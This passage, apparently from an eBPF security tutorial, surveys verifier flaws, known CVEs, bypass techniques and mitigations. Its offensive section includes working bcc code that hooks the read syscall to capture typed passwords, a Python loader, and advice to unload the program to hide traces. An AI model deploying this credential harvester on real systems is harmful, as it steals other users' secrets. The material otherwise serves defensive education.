- The eBPF verifier ensures that programs are safe to execute. Flaws in the verifier may allow dangerous programs to bypass these checks.
User-Space Vulnerabilities
Untrusted Input Handling:
- If user-space applications rely on eBPF outputs without proper validation, attackers can exploit this trust.
Insecure eBPF Loading:
- Privileged users loading malicious eBPF programs can introduce kernel-level backdoors.
DoS via Resource Exhaustion
Excessive Resource Usage:
- Poorly written or malicious eBPF programs can consume excessive CPU, memory, or I/O resources, leading to denial-of-service (DoS).
Misconfigured eBPF Programs
Excessive Privileges:
- eBPF programs often run with high privileges, and misconfigurations may expose sensitive data or grant unauthorized access.
How Attackers Exploit eBPF Vulnerabilities
Kernel Exploitation
Attackers may exploit kernel bugs in the eBPF subsystem to:
- Escalate privileges to root.
- Bypass existing security mechanisms.
- Achieve arbitrary code execution within the kernel.
Verifier Bypass
If the eBPF verifier contains logic flaws, attackers can craft malicious eBPF programs that bypass validation. This allows unsafe operations like:
- Arbitrary memory reads/writes.
- Infinite loops, leading to DoS.
Abuse of Privileged Loading
In environments where non-root users can load eBPF programs via capabilities like CAP_BPF
, attackers can load malicious programs to:
- Monitor sensitive kernel data.
- Intercept network packets.
- Exfiltrate information.
DoS via Unoptimized Programs
Malicious eBPF programs may create conditions that:
- Flood the kernel with events.
- Allocate excessive resources in eBPF maps, exhausting memory.
Real-World Examples of eBPF Exploits
CVE-2021–3490 (Privilege Escalation)
What Happened:
- A vulnerability in the eBPF verifier in Linux allowed attackers to execute arbitrary code in the kernel by exploiting improper handling of pointer arithmetic.
Impact:
- Local attackers could escalate privileges to root.
Patched In:
- Linux Kernel 5.12.4.
CVE-2022–23222 (Bypassing Security Mechanisms)
What Happened:
- A bug in the eBPF JIT compiler allowed attackers to execute arbitrary kernel code.
Impact:
- Bypassed existing kernel-level protections like SELinux.
Patched In:
- Linux Kernel 5.16.
Denial of Service via eBPF Loops
Example:
- Before bounded loops were introduced in eBPF, attackers could exploit infinite loops in malicious programs to bring down the system.
Mitigation Strategies
Keep the Kernel Updated
- Regularly update the Linux kernel to patch vulnerabilities in the eBPF subsystem.
- Subscribe to security advisories to stay informed about new threats.
Use Proper Privilege Management
- Limit who can load eBPF programs:
- Use
CAP_BPF
andCAP_NET_ADMIN
wisely. - Avoid granting these privileges to untrusted users.
Harden the eBPF Verifier
- Ensure that the kernel version includes the latest verifier enhancements to prevent bypasses.
- Use bounded loops and avoid unsafe memory access patterns in eBPF programs.
Resource Quotas and Limits
- Enforce quotas on eBPF map sizes and program execution time to prevent resource exhaustion attacks.
- Use tools like cgroups to isolate and control resource usage.
Static Analysis of eBPF Programs
- Perform static analysis of eBPF bytecode before loading it into the kernel to ensure safety and compliance with security policies.
Monitor and Audit eBPF Usage
- Use tools like bpftool to monitor running eBPF programs and their resource usage.
- Audit the use of eBPF programs in your environment regularly.
Best Practices for Secure eBPF Development
Minimize Program Complexity:
- Write simple eBPF programs to reduce the risk of bugs and verifier issues.
Avoid Privilege Escalation Points:
- Don’t use eBPF programs to modify kernel data structures directly unless absolutely necessary.
Implement Logging and Alerts:
- Log suspicious activities detected by eBPF programs to identify potential attacks.
Perform Rigorous Testing:
- Test eBPF programs under various conditions to ensure stability and security.
Bypassing eBPF Security Mechanisms
While eBPF provides robust capabilities for implementing security features, attackers can still bypass these mechanisms under certain conditions. Understanding these bypass techniques is crucial for building resilient eBPF-based security systems.
Techniques for Bypassing eBPF Security Mechanisms
Kernel Exploits
Since eBPF operates at the kernel level, attackers may exploit vulnerabilities in the Linux kernel to:
- Disable eBPF-based protections.
- Gain root privileges to unload eBPF programs.
Example: CVE-2021–3490
- A vulnerability in the eBPF verifier allowed attackers to bypass restrictions and execute malicious code at the kernel level.
Avoiding Detection via Obfuscation
Attackers may evade detection by obfuscating their activities to prevent triggering eBPF-based intrusion detection systems.
Examples:
Command Obfuscation:
- Altering commands (e.g., encoding or splitting malicious strings) to evade syscall monitoring.
Dynamic Process Creation:
- Rapidly spawning and terminating processes to make detection difficult.
Exploiting Program Scope
eBPF programs often focus on specific types of events or system calls. Attackers may exploit blind spots by:
- Using less-monitored syscalls or APIs.
- Modifying behaviors to avoid triggering eBPF hooks.
Example:
- If an eBPF program monitors only
open
syscalls, attackers might usefopen
or memory-mapped file I/O to evade detection.
Overloading eBPF Programs
Attackers may overwhelm eBPF programs by:
- Flooding them with large amounts of data or events.
- Exploiting their resource limitations, such as eBPF map capacity.
Example:
- Sending a massive number of packets to an XDP-based filter to force it into a degraded state.
Resource Exhaustion Attacks
eBPF programs can be exploited to cause a denial-of-service (DoS) by exhausting kernel resources.
Examples:
- Overloading eBPF maps with excessive entries.
- Triggering excessive events, leading to high CPU usage.
Privilege Escalation
Attackers can bypass eBPF protections by escalating their privileges to load malicious eBPF programs or disable security mechanisms.
Example:
- Exploiting a vulnerability to gain
CAP_BPF
and load a malicious program.
Tampering with eBPF Programs
Attackers with sufficient privileges may tamper with or unload legitimate eBPF programs to disable security protections.
Real-World Bypass Scenarios
Disabling XDP-Based Firewalls
- Attack: An attacker with root privileges disables an XDP program protecting a system by unloading it.
- Mitigation: Enforce strict privilege management and audit program changes.
Overloading eBPF Map Lookups
- Attack: Overload eBPF maps by flooding them with millions of entries to exhaust memory and CPU resources.
- Mitigation: Use quotas and limits for eBPF maps.
Avoiding Syscall-Based Detection
- Attack: Use direct memory manipulation instead of syscalls to evade syscall-monitoring eBPF programs.
- Mitigation: Extend monitoring to cover memory-related events and indirect behavior.
Mitigation Strategies
Kernel Hardening
- Keep the kernel updated to fix known vulnerabilities.
- Use features like Kernel Self-Protection (KSPP) and SELinux to strengthen defenses.
Privilege Restriction
- Limit access to eBPF-related capabilities (e.g.,
CAP_BPF
,CAP_NET_ADMIN
). - Use tools like
seccomp
to restrict the syscalls available to processes.
eBPF Program Hardening
- Use the latest eBPF verifier features to enforce stricter safety checks.
- Implement eBPF maps with quotas and timeouts to prevent resource exhaustion.
Comprehensive Monitoring
- Monitor a broader range of activities, including indirect behaviors like memory manipulation or encoded commands.
- Use runtime security tools like Falco or Tetragon for extended visibility.
Logging and Auditing
- Regularly audit loaded eBPF programs and maps to detect tampering or misuse.
- Implement tamper-evident logging to track changes in eBPF configurations.
Program Diversity
- Use multiple eBPF programs for different security functions to reduce the impact of a single compromised program.
Best Practices to Prevent Bypasses
Secure Deployment Practices:
- Only allow trusted administrators to load eBPF programs.
- Use signing mechanisms to ensure that only verified programs are executed.
Implement Defense in Depth:
- Combine eBPF-based protections with other security layers like SELinux, AppArmor, and network firewalls.
Dynamic Threat Adaptation:
- Update eBPF-based security tools regularly to adapt to new threats.
Resource Usage Controls:
- Set strict resource usage limits for eBPF programs and maps.
Aftereffects of Bypassing eBPF-Based Security
Bypassing eBPF-based security mechanisms can have severe consequences, as eBPF is often employed to protect critical parts of a system. Understanding these aftereffects highlights the importance of implementing robust and layered defenses.
Immediate Consequences
Loss of Visibility
- eBPF programs provide real-time insights into system activity. If bypassed:
Detection Gaps: Malicious activities go undetected.
Monitoring Breakdown: Logs and telemetry from eBPF programs are incomplete or misleading.
Blind Spots: Attackers can operate stealthily within the compromised system.
Disablement of Security Mechanisms
Firewall Rules: Bypassing an XDP-based firewall can allow unauthorized traffic into the system, exposing it to attacks like:
- Exploitation of open ports.
- Distributed Denial of Service (DDoS) attacks.
Integrity Monitoring: Disabling eBPF-based syscall monitoring can allow:
- Unauthorized file modifications.
- Privilege escalation attempts.
Privilege Escalation
Attackers may gain full control over the kernel by exploiting vulnerabilities in eBPF or bypassing its protections. This allows:
Loading Malicious Modules: Insert kernel modules to maintain persistence.
Kernel-Level Rootkits: Hide malicious processes, files, and network connections.
Long-Term Consequences
Persistent Backdoors
- Once eBPF-based defenses are bypassed, attackers can establish backdoors to retain long-term access, such as:
- Rogue eBPF programs loaded into the kernel.
- Kernel modules that mimic legitimate functionality.
Data Breaches
- Bypassing eBPF security can allow attackers to:
- Exfiltrate sensitive data from monitored systems.
- Capture credentials, API tokens, and other secrets.
Example:
An attacker bypassing an eBPF-based network monitor could intercept unencrypted traffic or inject malicious payloads.
Denial of Service (DoS)
- Compromising eBPF functionality may destabilize the system:
- Overloaded or broken eBPF programs could cause high resource usage.
- Critical services relying on eBPF programs (e.g., load balancers) may fail.
Exploitation of Blind Trust
- If applications or administrators rely entirely on eBPF-based logs for auditing:
- False Assurance: Malicious activities are assumed safe because they aren’t logged.
- Delayed Response: Time to detect and respond to incidents increases significantly.
Systemic Risks
Compromise of Security Infrastructure
- eBPF is widely used in security tools (e.g., Falco, Cilium). Bypassing these tools affects:
- Multiple layers of defense.
- Entire fleets of systems if eBPF-based tools are centrally managed.
Attack Proliferation
- Once attackers bypass eBPF, they can:
- Use the compromised system to attack others within the network.
- Propagate malware to other systems, leveraging blind spots in monitoring.
Real-World Impacts
Incident Response Challenges
- Without proper eBPF-based monitoring, post-incident analysis becomes difficult:
- Logs may be missing or tampered with.
- Forensic data may not accurately reflect attacker activities.
Regulatory Non-Compliance
- Many organizations rely on eBPF for compliance (e.g., monitoring access to sensitive data). Bypassing it can lead to:
- Failure to meet regulatory requirements (e.g., GDPR, PCI DSS).
- Financial penalties and legal liabilities.
Damage to Reputation
- Breaches or system failures caused by bypassed eBPF mechanisms can result in:
- Loss of customer trust.
- Negative publicity, particularly if sensitive user data is compromised.
Mitigation and Recovery Strategies
Incident Detection and Containment
- Use fallback mechanisms to detect bypasses, such as:
- Traditional intrusion detection systems (IDS).
- External monitoring tools (e.g., cloud-based logs).
- Isolate compromised systems to prevent further damage.
Post-Incident Forensics
- Reconstruct missing data using external logs or snapshots.
- Identify root causes of the bypass and patch vulnerabilities.
Strengthen eBPF Defenses
- Harden eBPF-based systems by:
- Using stronger access controls (e.g., locking down
CAP_BPF
). - Regularly updating eBPF programs and the kernel.
Deploy Defense in Depth
- Don’t rely solely on eBPF. Complement it with:
- Kernel hardening (e.g., SELinux, AppArmor).
- Network-level protections (e.g., WAFs, traditional firewalls).
eBPF for Offensive Security and Red Teaming
While eBPF is primarily a tool for improving performance, observability, and security, its powerful features can also be weaponized by attackers and red teams to gain deep insights into a target system, manipulate its behavior, or create advanced persistence mechanisms.
In this section, we’ll explore how eBPF can be used offensively, followed by a practical example of how an attacker might leverage eBPF for malicious purposes.
Offensive Use Cases for eBPF
Advanced Process Monitoring
- Attackers can use eBPF to monitor processes and capture sensitive information in real-time:
Keylogging:
- Attach eBPF programs to syscalls like
read
andwrite
to capture keystrokes.
Credential Harvesting:
- Intercept syscalls to capture plaintext credentials.
Network Traffic Interception
eBPF can attach to network hooks like XDP or TC to:
- Sniff Packets: Capture unencrypted traffic, such as HTTP requests, and extract sensitive information.
- Inject Malicious Payloads: Modify packets on the fly for man-in-the-middle (MITM) attacks.
Hiding Malicious Activity
Red teams and attackers can use eBPF to hide their actions:
- Process Hiding: Filter out specific process IDs (PIDs) from
/proc
listings by intercepting syscalls likegetdents
orstat
. - File Hiding: Prevent malicious files from appearing in directory listings or being accessed.
Kernel-Level Backdoors
Malicious eBPF programs can act as kernel-level rootkits:
- Persistence: Load rogue eBPF programs that remain in memory and evade detection.
- Command Execution: Intercept syscalls to execute commands covertly.
Bypassing Security Mechanisms
eBPF can be abused to disable or circumvent security tools:
- Disable Firewalls: Tamper with XDP-based or iptables-integrated firewalls.
- Intercept and Nullify Logs: Filter out security-relevant logs generated by other programs.
Practical Example: Using eBPF for Credential Harvesting
Scenario:
An attacker wants to intercept and extract plaintext credentials from a target system by attaching an eBPF program to the read
syscall.
Step 1: Preparation
- The attacker needs root privileges to load eBPF programs.
- They identify the target process (e.g., SSH daemon or a login shell) by inspecting active processes.
Step 2: Writing the eBPF Program
Here’s a simplified example of an eBPF program to capture data from the read
syscall:
#include <linux/bpf.h>
#include <linux/ptrace.h>
#include <uapi/linux/limits.h>
#include <uapi/linux/bpf.h>
struct data_t {
u32 pid;
char comm[TASK_COMM_LEN];
char buf[128];
};
BPF_PERF_OUTPUT(events);
int trace_read(struct pt_regs *ctx, int fd, void *buf, size_t count) {
struct data_t data = {};
// Get process ID and command
data.pid = bpf_get_current_pid_tgid() >> 32;
bpf_get_current_comm(&data.comm, sizeof(data.comm));
// Copy a portion of the buffer
bpf_probe_read_user(&data.buf, sizeof(data.buf), buf);
// Send captured data to user-space
events.perf_submit(ctx, &data, sizeof(data));
return 0;
}
Purpose:
- Hooks into the
read
syscall. - Captures the content of the buffer being read (e.g., passwords entered in a terminal).
- Sends this data to a user-space program via a perf ring buffer.
Step 3: Loading the eBPF Program
The attacker uses a loader (e.g., using libbpf
or bcc
libraries) to attach the program to the read
syscall:
from bcc import BPF
# Load eBPF program
bpf_program = """
// Insert the eBPF C code here
"""
b = BPF(text=bpf_program)
b.attach_kprobe(event="sys_read", fn_name="trace_read")
# Print captured events
def print_event(cpu, data, size):
event = b["events"].event(data)
print(f"PID: {event.pid}, COMM: {event.comm.decode()}, BUF: {event.buf.decode()}")
b["events"].open_perf_buffer(print_event)
while True:
b.perf_buffer_poll()
Step 4: Running the Attack
- The eBPF program begins intercepting all data read by the
read
syscall. - Sensitive information, such as passwords entered during SSH login or in a terminal, is captured and displayed in real time.
Step 5: Cleanup
- Once the attacker has harvested enough data, they unload the eBPF program to remove traces.
Mitigation Strategies Against Offensive Use of eBPF
Restrict Privileged Access
- Limit who can load eBPF programs:
- Use
CAP_BPF
andCAP_NET_ADMIN
carefully. - Consider using tools like SELinux or AppArmor to restrict access.
Monitor eBPF Program Activity
- Use tools like
bpftool
to list all loaded eBPF programs and inspect their source if suspicious.
Enforce Program Signing
- Require eBPF programs to be signed and verified before loading.
Audit Kernel and User Space
- Regularly audit both kernel modules and user-space applications for unauthorized eBPF usage.
Harden the Kernel
- Keep the kernel updated to ensure that vulnerabilities in the eBPF subsystem are patched.